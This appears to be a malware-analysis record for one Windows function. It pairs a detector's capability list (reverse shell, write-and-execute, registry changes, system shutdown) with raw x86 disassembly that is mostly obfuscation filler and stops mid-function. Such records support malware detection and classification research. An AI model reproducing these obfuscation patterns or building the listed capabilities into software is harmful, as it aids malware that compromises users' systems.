Function at 0x61fcb0
Capabilities:
Accept command line arguments
Allocate thread local storage
Check mutex and terminate process on windows
Check mutex on windows
Clear file content
Create pipe
Create process on windows
Create reverse shell
Create thread
Delete file
Enumerate files on windows
Get file attributes
Get graphical window text
Get thread local storage value
Query or enumerate registry value
Read file on windows
Read pipe
Set environment variable
Set registry value
Set thread local storage value
Shutdown system
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4230
call fcn.0062b600
push esi
push edi
mov dword [ebp - 0x20], 0xe195
mov dword [ebp - 0x28], 0x14dbb
mov dword [ebp - 0x2c], 0x7a41
mov dword [ebp - 0x34], 0x12b8b
mov dword [ebp - 4], 0xbdfd
mov dword [ebp - 0x38], 0x1289c
mov dword [ebp - 0x48], 0x6a33
mov dword [ebp - 0x10], 0x99f6
mov dword [ebp - 0x3c], 0x27c0
mov dword [ebp - 0x30], 0x17709
mov dword [ebp - 0x40], 0xc624
mov dword [ebp - 0x50], 0x37e2
mov dword [ebp - 0x54], 0x15023
mov dword [ebp - 8], 0x118a0
mov dword [ebp - 0x24], 0x8e6c
mov dword [ebp - 0xc], 0x15aaf
mov dword [ebp - 0x14], 0x7fe2
mov dword [ebp - 0x58], 0xee16
mov dword [ebp - 0x44], 0x416e
mov dword [ebp - 0x1c], 0x8eaf
mov dword [ebp - 0x18], 0x10633
mov dword [ebp - 0x5c], 0x6d2d
mov dword [ebp - 0x4c], 0x1742f
mov ecx, 0xdf
mov esi, str.PajIBiZKEVUBbkmsXHSwVVL
lea edi, [ebp - 0x12a4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x30]
sub eax, 0x16c7c
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0xc], ecx
jmp 0x61fd94
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x54]
jge 0x61ff4f
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x48]
and edx, dword [ebp - 0x20]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0xc4]
cmp edx, dword [ebp - 0xc8]
jge 0x61fde1
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x10]
jl 0x61fe12
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp - 0x40]
je 0x61fe2b
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0xcc], edx
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0x58]
add ecx, 1
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0xcc]
cmp edx, dword [ebp - 0xd0]
jge 0x61fe2b
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x4c]
jl 0x61fe22
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x14]
jge 0x61fe2b
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
imul ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 4]
jl 0x61fe96
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x2c]
jl 0x61fe96
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x48]
jl 0x61fe96
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd8], ecx
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0xd8]
jge 0x61fe9f
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x18]
jge 0x61fe9f
mov edx, dword [ebp - 0x20]
sub edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
or edx, dword [ebp - 0x34]
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xe0], eax
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0xdc]
cmp edx, dword [ebp - 0xe0]
jge 0x61ff4a
mov eax, dword [ebp - 0x20]
or eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x10]
jl 0x61ff41
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x2c]
jl 0x61ff41
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
jl 0x61ff41
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x34]
sub edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x24]
jge 0x61ff4a
mov ecx, dword [ebp - 0x38]
and ecx, dword [ebp - 0x3c]
je 0x61ff4a
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
jmp 0x61fd8b
mov ecx, 0xe5
mov esi, 0x63db18
lea edi, [ebp - 0x1d50]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x58]
jl 0x61ff8b
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x20]
jge 0x620046
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x50]
jge 0x620046
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x24]
or ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x48]
jge 0x620046
mov edx, dword [ebp - 0x10]
and edx, dword [ebp - 0x34]
je 0x620046
mov eax, dword [ebp - 0x50]
and eax, dword [ebp - 0x48]
mov dword [ebp - 0xe4], eax
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0xe8]
jge 0x620046
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0xec], ecx
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0x20]
sub eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0xec]
cmp ecx, dword [ebp - 0xf0]
jge 0x620046
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0xf4]
cmp edx, dword [ebp - 0xf8]
jl 0x62003d
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x30]
jge 0x620046
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 8]
jge 0x620046
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
mov ecx, 0xeb
mov esi, str.ivKgjwAJgaWCzDwDGEcNKzqgx
lea edi, [ebp - 0x2f84]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, 0xe8
mov esi, str.EqLSfcypNPokgNTDKtVdMZJaJUXSFeRbbUkZLmbVFMhJxjHwfIRZDdZKQaDwdUJnAqsF
lea edi, [ebp - 0x2834]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov ecx, 0xe4
mov esi, 0x63ecd8
lea edi, [ebp - 0x19b8]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edx, dword [ebp - 0x30]
add edx, 0xab99
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x10], eax
jmp 0x6200b0
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x54]
jge 0x62038d
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x48]
jge 0x6200d0
mov dword [ebp - 0x84], 1
jmp 0x6200da
mov dword [ebp - 0x84], 0
mov ecx, dword [ebp - 0x28]
and ecx, dword [ebp - 0x84]
je 0x620116
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 0x24]
jge 0x620116
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 8]
jge 0x620116
mov ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 8]
je 0x620105
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x40]
jl 0x62010d
mov eax, dword [ebp - 0x44]
and eax, dword [ebp - 0x50]
je 0x620116
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xfc], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x100]
jge 0x620154
mov dword [ebp - 0x88], 1
jmp 0x62015e
mov dword [ebp - 0x88], 0
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
or edx, dword [ebp - 0x88]
jne 0x62019e
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x4c]
jne 0x62019e
mov ecx, dword [ebp - 0x44]
sub ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x58]
jl 0x62019e
mov edx, dword [ebp - 0x40]
sub edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x40]
jge 0x6201a7
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x1c]
jge 0x6201a7
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x24]
jge 0x6201bc
mov ecx, dword [ebp - 0x20]
sub ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x3c]
sub edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x1c]
jge 0x62035d
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0xc]
jge 0x62035d
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x104], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x108], eax
mov ecx, dword [ebp - 0x28]
sub ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x104]
cmp edx, dword [ebp - 0x108]
jge 0x620250
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x110], ecx
mov edx, dword [ebp - 0x40]
sub edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x110]
jge 0x62023b
mov dword [ebp - 0x8c], 1
jmp 0x620245
mov dword [ebp - 0x8c], 0
mov ecx, dword [ebp - 0x3c]
xor ecx, dword [ebp - 0x8c]
jne 0x6202ad
mov edx, dword [ebp - 0x24]
or edx, dword [ebp - 0xc]
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x118]
jge 0x62035d
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x120]
jge 0x62035d
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x58]
jl 0x6202fe
mov edx, dword [ebp - 0x3c]
add edx, dword [ebp - 0x18]
jne 0x6202fe
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x4c]
imul ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x62035d
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x34]
jge 0x6202e9
mov dword [ebp - 0x90], 1
jmp 0x6202f3
mov dword [ebp - 0x90], 0
mov eax, dword [ebp - 0x20]
and eax, dword [ebp - 0x90]
je 0x62035d
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x18]
jl 0x620354
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0xc]
and eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x20]
jge 0x62034c
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x128], eax
mov ecx, dword [ebp - 0x5c]
sub ecx, 1
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x124]
cmp edx, dword [ebp - 0x128]
jl 0x620354
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x1c]
jge 0x62035d
mov ecx, dword [ebp - 0x5c]
sub ecx, 1
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x30]
sub edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x40]
jge 0x62037f
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x50]
jge 0x62037f
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
jmp 0x6200a7
mov ecx, 0xd5
mov esi, str.HutPGDVtFIawrZvOCvzJqxhm
lea edi, [ebp - 0xbc0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 0x1c]
jl 0x62040f
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
je 0x6203de
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x130], ecx
mov edx, dword [ebp - 0x2c]
sub edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x12c]
cmp eax, dword [ebp - 0x130]
jl 0x62040f
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x18]
jge 0x6203f2
mov dword [ebp - 0x94], 1
jmp 0x6203fc
mov dword [ebp - 0x94], 0
mov edx, dword [ebp - 0x10]
and edx, dword [ebp - 0x94]
je 0x62044c
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x50]
je 0x62044c
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 8]
jl 0x62043b
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x58]
jl 0x62043b
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x38]
jl 0x62043b
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x1c]
jge 0x62044c
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 0xc]
jge 0x62044c
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x3c]
jge 0x62044c
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
mov ecx, 0xf3
mov esi, str.BwmqttSLbPpuPvkLWPmzvHktImwUdvbhgenxlsigRscOsMrMJjZbCkrIrtXLPDSHhUcSiSZWtGzBdjljHzVRZCDHXLSg
lea edi, [ebp - 0x3e5c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edx, dword [ebp - 8]
sub edx, 0x3a31
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 8]
mov dword [ebp - 0x3c], eax
jmp 0x620480
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x18]
jge 0x620661
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
and ecx, dword [ebp - 0x38]
jne 0x6204a9
mov edx, dword [ebp - 0x40]
and edx, dword [ebp - 0x2c]
je 0x620581
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x34]
jl 0x6204f7
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0xc]
jge 0x6204c5
mov dword [ebp - 0x98], 1
jmp 0x6204cf
mov dword [ebp - 0x98], 0
mov edx, dword [ebp - 0x40]
sub edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
or eax, dword [ebp - 0x98]
je 0x620581
mov ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x4c]
jge 0x620581
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x134], 0
jne 0x620578
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x5c]
jge 0x620529
mov dword [ebp - 0x9c], 1
jmp 0x620533
mov dword [ebp - 0x9c], 0
mov edx, dword [ebp - 0x40]
and edx, dword [ebp - 0x9c]
jne 0x620578
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x13c], ecx
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x13c]
jge 0x620581
mov ecx, dword [ebp - 0x14]
sub ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 0x14]
jge 0x620581
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
and ecx, dword [ebp - 4]
mov dword [ebp - 0x140], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 0x140], 0
je 0x6205ee
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x30]
jge 0x6205ee
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x2c]
jge 0x6205ee
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x40]
jge 0x6205ee
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x38]
jge 0x6205ee
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x38]
jge 0x6205ee
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x50]
jge 0x6205ee
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x40]
jge 0x6205fe
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x58]
jl 0x620616
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x14]
je 0x62060e
mov eax, dword [ebp - 0x38]
and eax, dword [ebp - 0x30]
jne 0x620616
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x2c]
jge 0x620637
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x24]
jge 0x620626
mov eax, dword [ebp - 0x30]
and eax, dword [ebp - 0x2c]
jne 0x62062e
mov ecx, dword [ebp - 0x40]
and ecx, dword [ebp - 0x20]
je 0x620637
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x14]
jl 0x620653
mov edx, dword [ebp - 0x30]
sub edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x1c]
jge 0x62065c
mov eax, dword [ebp - 0x34]
sub eax, 1
mov dword [ebp - 0x34], eax
jmp 0x620477
mov ecx, 0xe8
mov esi, str.RRsraHjBvndpdGFzAlHNieKlmvoMFKGSFeFxTKXjcgHecmSIMfZOXkQMxWDejswBKyTwZWaRxXDGwxJlcJAqdRsRzQtysEgHdHClNcbmkHJhSHxLziXgdegWIBtVfZAoWeFIFwddtUpgsEgkEjTGRCxvmUemShNaiGxmxy
lea edi, [ebp - 0x2bd8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.0041db40
mov ecx, 0xe7
mov esi, str.OEKSVbF
lea edi, [ebp - 0x2490]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [ebp - 0xc]
sub ecx, 0xcc43
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x48]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x48], edx
jmp 0x6206af
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x58]
jge 0x6209ce
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0xc]
je 0x62074a
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x144], eax
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x148], ecx
mov edx, dword [ebp - 0x50]
sub edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x144]
cmp eax, dword [ebp - 0x148]
jge 0x62074a
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x38]
jge 0x62074a
mov edx, dword [ebp - 0x44]
and edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x24]
jl 0x620723
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x18]
jne 0x620723
mov ecx, dword [ebp - 0x50]
and ecx, dword [ebp - 0x20]
jne 0x620723
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x38]
jge 0x62074a
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x4c]
jge 0x62074a
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x14c], ecx
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
cmp dword [ebp - 0x14c], 0
je 0x62074a
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x40]
add eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x28]
or ecx, dword [ebp - 0x40]
je 0x620786
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x5c]
jge 0x620786
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x38]
jl 0x62079b
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 4]
je 0x620910
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x150], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x10]
sub eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x150]
cmp ecx, dword [ebp - 0x154]
jge 0x620824
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x1c]
jge 0x6207d8
mov dword [ebp - 0xa0], 1
jmp 0x6207e2
mov dword [ebp - 0xa0], 0
mov eax, dword [ebp - 0x44]
and eax, dword [ebp - 0xa0]
je 0x620824
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x4c]
jge 0x620824
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x158], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x15c], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x158]
cmp edx, dword [ebp - 0x15c]
jl 0x620846
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x5c]
mov dword [ebp - 0x160], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x160], 0
je 0x620910
mov edx, dword [ebp - 0x10]
xor edx, dword [ebp - 0x24]
je 0x620910
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x20]
jge 0x620910
mov ecx, dword [ebp - 8]
xor ecx, dword [ebp - 0x18]
mov dword [ebp - 0x164], ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x168], edx
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x164]
cmp ecx, dword [ebp - 0x168]
jge 0x620910
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jge 0x620910
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 8]
jl 0x6208b7
mov edx, dword [ebp - 0x44]
sub edx, dword [ebp - 0x24]
jne 0x6208b7
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x10]
jge 0x620910
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x18]
jl 0x6208ca
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 0x3c]
jge 0x620910
mov eax, dword [ebp - 0x54]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x16c], eax
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x170], ecx
mov edx, dword [ebp - 0x18]
sub edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x16c]
cmp eax, dword [ebp - 0x170]
jge 0x620910
mov ecx, dword [ebp - 0x3c]
sub ecx, 1
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x3c]
jge 0x620910
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x44]
mov dword [ebp - 0x174], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x178], edx
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x174]
cmp ecx, dword [ebp - 0x178]
jge 0x620975
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x28]
jge 0x620975
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x1c]
jge 0x620975
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x17c], ecx
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x180], edx
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x17c]
cmp ecx, dword [ebp - 0x180]
jl 0x62097d
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x34]
jge 0x62098e
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jge 0x62098e
mov ecx, dword [ebp - 0x10]
add ecx, 1
